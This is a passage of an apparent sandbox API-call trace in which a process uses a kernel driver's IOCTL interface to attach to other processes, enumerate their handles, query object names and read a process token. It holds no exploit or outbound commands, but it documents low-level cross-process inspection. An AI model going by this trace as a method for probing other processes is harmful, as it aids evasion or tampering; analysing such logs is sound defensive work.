[0104.342] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.342] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.342] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.342] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0104.342] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.343] PsAcquireProcessExitSynchronization () returned 0x0 [0104.343] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.343] ObReferenceObjectByHandle (in: Handle=0xeac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80108a95e0, HandleInformation=0x0) returned 0x0 [0104.343] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.343] PsReleaseProcessExitSynchronization () returned 0x2 [0104.343] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.343] ObQueryNameString (in: Object=0xfffffa80108a95e0, ObjectNameInfo=0xfffffa8002835044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002835044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.343] ObfDereferenceObject (Object=0xfffffa80108a95e0) returned 0x13 [0104.343] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.343] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.343] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.343] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xa2, lpOverlapped=0x0) returned 1 [0104.343] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.343] PsAcquireProcessExitSynchronization () returned 0x0 [0104.343] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.343] ObReferenceObjectByHandle (in: Handle=0xeb8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800f07e960, HandleInformation=0x0) returned 0x0 [0104.343] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.343] PsReleaseProcessExitSynchronization () returned 0x2 [0104.343] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.343] ObQueryNameString (in: Object=0xfffffa800f07e960, ObjectNameInfo=0xfffffa80025ff044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025ff044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.343] ObfDereferenceObject (Object=0xfffffa800f07e960) returned 0x1 [0104.343] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.343] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.343] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.343] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.343] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.343] PsAcquireProcessExitSynchronization () returned 0x0 [0104.343] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.344] ObReferenceObjectByHandle (in: Handle=0xebc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0017bf0f0, HandleInformation=0x0) returned 0x0 [0104.344] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.344] PsReleaseProcessExitSynchronization () returned 0x2 [0104.344] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.344] ObQueryNameString (in: Object=0xfffff8a0017bf0f0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.344] ObfDereferenceObject (Object=0xfffff8a0017bf0f0) returned 0x1 [0104.344] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.344] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.344] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.344] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x7c, lpOverlapped=0x0) returned 1 [0104.344] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.344] PsAcquireProcessExitSynchronization () returned 0x0 [0104.344] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.344] ObReferenceObjectByHandle (in: Handle=0xf30, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001be2760, HandleInformation=0x0) returned 0x0 [0104.344] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.344] PsReleaseProcessExitSynchronization () returned 0x2 [0104.344] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.344] ObQueryNameString (in: Object=0xfffff8a001be2760, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.344] ObfDereferenceObject (Object=0xfffff8a001be2760) returned 0x2 [0104.344] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.344] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.344] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.344] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0104.344] PsLookupProcessByProcessId (in: ProcessId=0x370, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.344] PsAcquireProcessExitSynchronization () returned 0x0 [0104.344] KeStackAttachProcess (in: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800315cb30, ApcState=0xfffff88004f095d0) [0104.344] ObReferenceObjectByHandle (in: Handle=0x1244, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0104.344] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.344] PsReleaseProcessExitSynchronization () returned 0x2 [0104.344] ObfDereferenceObject (Object=0xfffffa800315cb30) returned 0x1f0 [0104.344] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8003857044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003857044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.345] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0104.345] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.345] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.345] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3ac) returned 0x0 [0104.345] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.345] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0104.345] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.345] PsAcquireProcessExitSynchronization () returned 0x0 [0104.345] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff88004f095d0) [0104.345] ObReferenceObjectByHandle (in: Handle=0x8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800318bc40, HandleInformation=0x0) returned 0x0 [0104.345] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.345] PsReleaseProcessExitSynchronization () returned 0x2 [0104.345] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3e [0104.345] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.345] ObfDereferenceObject (Object=0xfffffa800318bc40) returned 0x1 [0104.345] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.345] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.345] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.345] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0104.345] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.345] PsAcquireProcessExitSynchronization () returned 0x0 [0104.345] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff88004f095d0) [0104.345] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800318f770, HandleInformation=0x0) returned 0x0 [0104.345] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.345] PsReleaseProcessExitSynchronization () returned 0x2 [0104.345] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3e [0104.345] ObQueryNameString (in: Object=0xfffffa800318f770, ObjectNameInfo=0xfffffa80024f6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80024f6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.345] ObfDereferenceObject (Object=0xfffffa800318f770) returned 0x11 [0104.346] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.346] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.346] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.346] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.346] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.346] PsAcquireProcessExitSynchronization () returned 0x0 [0104.346] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff88004f095d0) [0104.346] ObReferenceObjectByHandle (in: Handle=0x74, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800318ff20, HandleInformation=0x0) returned 0x0 [0104.346] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.346] PsReleaseProcessExitSynchronization () returned 0x2 [0104.346] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3e [0104.346] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.346] ObfDereferenceObject (Object=0xfffffa800318ff20) returned 0x1 [0104.346] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.346] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.346] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.346] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.346] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.346] PsAcquireProcessExitSynchronization () returned 0x0 [0104.346] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff88004f095d0) [0104.346] ObReferenceObjectByHandle (in: Handle=0x108, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.346] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.346] PsReleaseProcessExitSynchronization () returned 0x2 [0104.346] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3e [0104.346] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800384b044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800384b044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.346] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0104.346] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.346] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.346] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.346] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.346] PsLookupProcessByProcessId (in: ProcessId=0x3ac, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.346] PsAcquireProcessExitSynchronization () returned 0x0 [0104.346] KeStackAttachProcess (in: PROCESS=0xfffffa800318b060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800318b060, ApcState=0xfffff88004f095d0) [0104.347] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.347] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.347] PsReleaseProcessExitSynchronization () returned 0x2 [0104.347] ObfDereferenceObject (Object=0xfffffa800318b060) returned 0x3e [0104.347] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.347] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0104.347] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.347] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.347] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3f8) returned 0xc0 [0104.347] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.347] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa80031ba920, HandleInformation=0x0) returned 0x0 [0104.347] ObOpenObjectByPointer (in: Object=0xfffffa80031ba920, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff80000874) returned 0x0 [0104.347] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd3 [0104.347] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000874, DesiredAccess=0x8, TokenHandle=0xfffffa8003718880 | out: TokenHandle=0xfffffa8003718880*=0xc8) returned 0x0 [0104.347] ZwClose (Handle=0xffffffff80000874) returned 0x0 [0104.347] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.347] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.347] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.349] CloseHandle (hObject=0xc8) returned 1 [0104.349] CloseHandle (hObject=0xc0) returned 1 [0104.349] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.349] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0104.349] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.349] PsAcquireProcessExitSynchronization () returned 0x0 [0104.349] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff88004f095d0) [0104.349] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031ad610, HandleInformation=0x0) returned 0x0 [0104.349] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.349] PsReleaseProcessExitSynchronization () returned 0x2 [0104.349] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd1 [0104.349] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.349] ObfDereferenceObject (Object=0xfffffa80031ad610) returned 0x1 [0104.349] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.350] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.350] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.350] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0104.350] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.350] PsAcquireProcessExitSynchronization () returned 0x0 [0104.350] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff88004f095d0) [0104.350] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80031bc1f0, HandleInformation=0x0) returned 0x0 [0104.350] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.350] PsReleaseProcessExitSynchronization () returned 0x2 [0104.350] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd1 [0104.350] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.350] ObfDereferenceObject (Object=0xfffffa80031bc1f0) returned 0x1 [0104.350] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.350] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.350] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.350] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0104.350] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.350] PsAcquireProcessExitSynchronization () returned 0x0 [0104.350] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff88004f095d0) [0104.350] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8002f68f20, HandleInformation=0x0) returned 0x0 [0104.350] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.350] PsReleaseProcessExitSynchronization () returned 0x2 [0104.350] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd1 [0104.350] ObQueryNameString (in: Object=0xfffffa8002f68f20, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.350] ObfDereferenceObject (Object=0xfffffa8002f68f20) returned 0x1 [0104.350] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.350] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.350] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.350] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.350] PsLookupProcessByProcessId (in: ProcessId=0x3f8, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.351] PsAcquireProcessExitSynchronization () returned 0x0 [0104.351] KeStackAttachProcess (in: PROCESS=0xfffffa80031ba920, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80031ba920, ApcState=0xfffff88004f095d0) [0104.351] ObReferenceObjectByHandle (in: Handle=0x104, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.351] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.351] PsReleaseProcessExitSynchronization () returned 0x2 [0104.351] ObfDereferenceObject (Object=0xfffffa80031ba920) returned 0xd1 [0104.351] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.351] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0104.351] IofCompleteRequest 